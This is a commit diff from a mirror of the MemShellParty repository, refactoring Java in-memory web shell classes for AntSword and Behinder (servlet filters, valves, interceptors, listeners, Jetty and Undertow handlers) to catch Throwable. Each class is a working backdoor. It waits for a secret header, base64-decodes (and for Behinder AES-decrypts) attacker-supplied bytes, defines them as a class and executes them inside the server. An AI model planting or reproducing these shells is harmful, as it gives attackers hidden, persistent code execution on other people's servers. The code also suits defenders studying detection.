mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
refactor: catch Throwable
This commit is contained in:
+13
-13
@@ -11,11 +11,6 @@ public class AntSword extends ClassLoader {
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public AntSword() {
|
||||
}
|
||||
|
||||
@@ -44,24 +39,28 @@ public class AntSword extends ClassLoader {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public Class<?> g(byte[] b) {
|
||||
return defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", false, Thread.currentThread().getContextClassLoader());
|
||||
base64 = contextClassLoader.loadClass("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder", false, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = contextClassLoader.loadClass("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object unwrapRequest(Object request) {
|
||||
Object internalRequest = request;
|
||||
while (true) {
|
||||
@@ -78,6 +77,7 @@ public class AntSword extends ClassLoader {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object unwrapResponse(Object response) {
|
||||
Object internalResponse = response;
|
||||
while (true) {
|
||||
|
||||
+12
-16
@@ -15,26 +15,20 @@ public class AntSwordControllerHandler extends ClassLoader implements Controller
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
public AntSwordControllerHandler() {
|
||||
}
|
||||
|
||||
public AntSwordControllerHandler(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
|
||||
public AntSwordControllerHandler() {
|
||||
}
|
||||
|
||||
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
try {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordControllerHandler(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
Object instance = (new AntSwordControllerHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
} catch (Exception e) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
@@ -42,7 +36,12 @@ public class AntSwordControllerHandler extends ClassLoader implements Controller
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public Class<?> g(byte[] b) {
|
||||
return defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
@@ -50,12 +49,9 @@ public class AntSwordControllerHandler extends ClassLoader implements Controller
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
+15
-18
@@ -14,11 +14,6 @@ public class AntSwordFilter extends ClassLoader implements Filter {
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public AntSwordFilter() {
|
||||
}
|
||||
|
||||
@@ -31,22 +26,27 @@ public class AntSwordFilter extends ClassLoader implements Filter {
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
|
||||
try {
|
||||
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
if (request.getHeader(this.headerName) != null
|
||||
&& request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordFilter(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
} else {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
return;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
@@ -54,12 +54,9 @@ public class AntSwordFilter extends ClassLoader implements Filter {
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
+12
-16
@@ -15,27 +15,21 @@ public class AntSwordInterceptor extends ClassLoader implements AsyncHandlerInte
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
public AntSwordInterceptor() {
|
||||
}
|
||||
|
||||
public AntSwordInterceptor(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
|
||||
public AntSwordInterceptor() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
try {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordInterceptor(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
Object instance = (new AntSwordInterceptor(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
} catch (Exception e) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
@@ -44,6 +38,11 @@ public class AntSwordInterceptor extends ClassLoader implements AsyncHandlerInte
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
|
||||
|
||||
@@ -55,7 +54,7 @@ public class AntSwordInterceptor extends ClassLoader implements AsyncHandlerInte
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
@@ -63,12 +62,9 @@ public class AntSwordInterceptor extends ClassLoader implements AsyncHandlerInte
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
+12
-15
@@ -9,11 +9,6 @@ public class AntSwordJettyHandler extends ClassLoader {
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public AntSwordJettyHandler() {
|
||||
}
|
||||
|
||||
@@ -46,13 +41,13 @@ public class AntSwordJettyHandler extends ClassLoader {
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null && value.contains(headerValue)) {
|
||||
if (baseRequest != null) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
}
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
byte[] bytes = base64Decode(parameter);
|
||||
Object instance = (new AntSwordJettyHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
if (baseRequest != null) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
@@ -62,7 +57,12 @@ public class AntSwordJettyHandler extends ClassLoader {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
@@ -70,12 +70,9 @@ public class AntSwordJettyHandler extends ClassLoader {
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
+27
-29
@@ -21,34 +21,6 @@ public class AntSwordListener extends ClassLoader implements ServletRequestListe
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public Class<?> g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
@@ -61,11 +33,37 @@ public class AntSwordListener extends ClassLoader implements ServletRequestListe
|
||||
Object instance = (new AntSwordListener(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private Object getResponseFromRequest(Object request) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public Class<?> g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
}
|
||||
|
||||
+13
-16
@@ -15,6 +15,13 @@ public class AntSwordServlet extends ClassLoader implements Servlet {
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public AntSwordServlet() {
|
||||
}
|
||||
|
||||
public AntSwordServlet(ClassLoader parent) {
|
||||
super(parent);
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
|
||||
@@ -26,8 +33,8 @@ public class AntSwordServlet extends ClassLoader implements Servlet {
|
||||
Object instance = (new AntSwordServlet(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -41,13 +48,6 @@ public class AntSwordServlet extends ClassLoader implements Servlet {
|
||||
|
||||
}
|
||||
|
||||
public AntSwordServlet() {
|
||||
}
|
||||
|
||||
public AntSwordServlet(ClassLoader parent) {
|
||||
super(parent);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
@@ -55,7 +55,7 @@ public class AntSwordServlet extends ClassLoader implements Servlet {
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
@@ -63,12 +63,9 @@ public class AntSwordServlet extends ClassLoader implements Servlet {
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
+9
-12
@@ -9,11 +9,6 @@ public class AntSwordUndertowServletHandler extends ClassLoader {
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public AntSwordUndertowServletHandler() {
|
||||
}
|
||||
|
||||
@@ -48,7 +43,12 @@ public class AntSwordUndertowServletHandler extends ClassLoader {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
@@ -56,12 +56,9 @@ public class AntSwordUndertowServletHandler extends ClassLoader {
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
+23
-25
@@ -25,21 +25,35 @@ public class AntSwordValve extends ClassLoader implements Valve {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordValve(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
return;
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class base64;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
@@ -67,20 +81,4 @@ public class AntSwordValve extends ClassLoader implements Valve {
|
||||
@Override
|
||||
public void backgroundProcess() {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordValve(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
return;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
}
|
||||
|
||||
+24
-46
@@ -17,11 +17,6 @@ public class Behinder extends ClassLoader {
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public Behinder() {
|
||||
}
|
||||
|
||||
@@ -45,7 +40,7 @@ public class Behinder extends ClassLoader {
|
||||
map.put("response", response);
|
||||
map.put("session", session);
|
||||
String parameter = ((BufferedReader) request.getClass().getMethod("getReader").invoke(request)).readLine();
|
||||
byte[] bytes = x(base64Decode(parameter));
|
||||
byte[] bytes = x(base64Decode(parameter), false);
|
||||
Object instance = (new Behinder(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(map);
|
||||
return true;
|
||||
@@ -56,22 +51,25 @@ public class Behinder extends ClassLoader {
|
||||
return false;
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s) {
|
||||
try {
|
||||
Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
|
||||
Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
|
||||
Constructor<?> constructor = secretKeySpecClass.getConstructor(byte[].class, String.class);
|
||||
Method initMethod = cipherClass.getMethod("init", int.class, Key.class);
|
||||
Object c = cipherClass.getMethod("getInstance", String.class).invoke(null, "AES");
|
||||
initMethod.invoke(c, 2, constructor.newInstance(pass.getBytes(), "AES"));
|
||||
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
|
||||
return ((byte[]) doFinalMethod.invoke(c, s));
|
||||
} catch (Exception ignored) {
|
||||
return null;
|
||||
}
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public byte[] x(byte[] s, boolean m) throws Exception {
|
||||
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
|
||||
Class<?> cipherClass = contextClassLoader.loadClass("javax.crypto.Cipher");
|
||||
Class<?> secretKeySpecClass = contextClassLoader.loadClass("javax.crypto.spec.SecretKeySpec");
|
||||
Constructor<?> constructor = secretKeySpecClass.getConstructor(byte[].class, String.class);
|
||||
Method initMethod = cipherClass.getMethod("init", int.class, Key.class);
|
||||
Object c = cipherClass.getMethod("getInstance", String.class).invoke(null, "AES");
|
||||
initMethod.invoke(c, m ? 1 : 2, constructor.newInstance(pass.getBytes(), "AES"));
|
||||
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
|
||||
return ((byte[]) doFinalMethod.invoke(c, s));
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object unwrapRequest(Object request) {
|
||||
Object internalRequest = request;
|
||||
while (true) {
|
||||
@@ -88,6 +86,7 @@ public class Behinder extends ClassLoader {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object unwrapResponse(Object response) {
|
||||
Object internalResponse = response;
|
||||
while (true) {
|
||||
@@ -125,40 +124,19 @@ public class Behinder extends ClassLoader {
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", false, Thread.currentThread().getContextClassLoader());
|
||||
base64 = contextClassLoader.loadClass("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder", false, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
base64 = contextClassLoader.loadClass("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeInternalMethod(Object obj, String methodName) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
method = clazz.getMethod(methodName);
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+25
-22
@@ -21,46 +21,52 @@ public class BehinderControllerHandler extends ClassLoader implements Controller
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
public BehinderControllerHandler() {
|
||||
}
|
||||
|
||||
public BehinderControllerHandler(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
|
||||
public BehinderControllerHandler() {
|
||||
}
|
||||
|
||||
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
try {
|
||||
HttpSession session = request.getSession();
|
||||
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||
obj.put("request", request);
|
||||
obj.put("response", getInternalResponse(response));
|
||||
obj.put("response", unwrapResponse(response));
|
||||
obj.put("session", session);
|
||||
session.setAttribute("u", this.pass);
|
||||
session.setAttribute("u", pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
|
||||
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
|
||||
Object instance = (new BehinderControllerHandler(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
Object instance = (new BehinderControllerHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(obj);
|
||||
} catch (Exception e) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object unwrapResponse(Object response) {
|
||||
Object internalResponse = response;
|
||||
while (true) {
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(response, "response");
|
||||
Object r = getFieldValue(response, "response");
|
||||
if (r == internalResponse) {
|
||||
return r;
|
||||
} else {
|
||||
internalResponse = r;
|
||||
}
|
||||
} catch (Exception e) {
|
